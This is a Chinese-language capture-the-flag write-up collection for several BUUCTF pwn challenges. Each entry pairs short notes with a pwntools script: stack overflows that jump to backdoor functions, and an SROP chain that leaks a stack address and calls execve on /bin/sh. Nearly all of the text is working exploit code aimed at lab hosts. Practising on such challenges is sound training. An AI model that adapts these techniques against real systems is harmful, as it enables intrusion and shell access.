test_your_nc

直接nc连接获得shell

from pwn import*
io=remote('',)
io.interactive()

rip

直接溢出修改返回地址

from pwn import*
io=remote('node5.buuoj.cn',29162)

ret=0x0401016
backdoor=0x401186

payload=cyclic(0xF+8)+p64(ret)+p64(backdoor)
io.sendline(payload)

io.interactive()

warmup_csaw_2016

from pwn import*
io=remote('node5.buuoj.cn',27239)

backdoor=0x40060D
ret=0x04004a1

payload=cyclic(0x40+8)+p64(ret)+p64(backdoor)
io.sendline(payload)

io.interactive()

ciscn_2019_n_1

from pwn import*
io=remote('node5.buuoj.cn',27826)

backdoor=0x04006BE
ret=0x0400501

payload=cyclic(0x30+8)+p64(backdoor)
io.sendline(payload)

io.interactive()

pwn1_sctf_2016

一道c++题目,如果是直接输入是无法造成栈溢出的,但是因为程序会将I转化成you,这就可以栈溢出了,且存在后门函数,直接获得flag。

from pwn import*
io=remote('node5.buuoj.cn',27748)

backdoor=0x8048F0D

payload=b'I'*20+b'aaaa'+p32(backdoor)
io.sendline(payload)

io.interactive()

ciscn_s_3

最近刚复现了ret2all,里面用到了SROP的手法,而这道题也刚好运用了此手法,所以记录一下。

64位的程序,开启了NX保护

存在栈溢出,可以输入的数据非常非常的大,而且还进行了系统调用,就有syscall;ret,存在两个gadgets,可以让rax为0xF或0x3B,也就相当于是sigreturn或execve。因为这题没告诉我们/bin/sh的地址,只能我们自己泄漏(因为可以输出0x30个字节,而我们只会输入0x10个字节,所以肯定能输出栈上的地址)。因为这题是直接ret,所以只需要将rbp覆盖为返回地址即可。剩下的就挺简单的了。

from pwn import*
context.arch='amd64'
#io=remote()
io=process('./ciscn_s_3')

#gdb.attach(io)

syscall_ret=0x0400517
sigreturn=0x04004DA
execve=0x04004E2
vuln=0x04004ED

payload1=b'a'*0x10+p64(vuln)
io.send(payload1)

io.recv(0x20)
stack=u64(io.recv(8))
print(hex(stack))
bin_sh=stack-0x158

sigFrame=SigreturnFrame()
sigFrame.rax=0x3B
sigFrame.rdi=bin_sh
sigFrame.rsi=0
sigFrame.rdx=0
sigFrame.rip=syscall_ret

payload2=b'/bin/sh\x00'*2+p64(sigreturn)+p64(syscall_ret)+p64(0)*13+p64(bin_sh)+p64(0)*3+p64(0)+p64(0x3B)+p64(0)+p64(0)+p64(syscall_ret)+p64(0)+p64(0x33)+p64(0)*5
#payload2=b'/bin/sh\x00'*2+p64(sigreturn)+p64(syscall_ret)+bytes(sigFrame)
io.send(payload2)

io.interactive()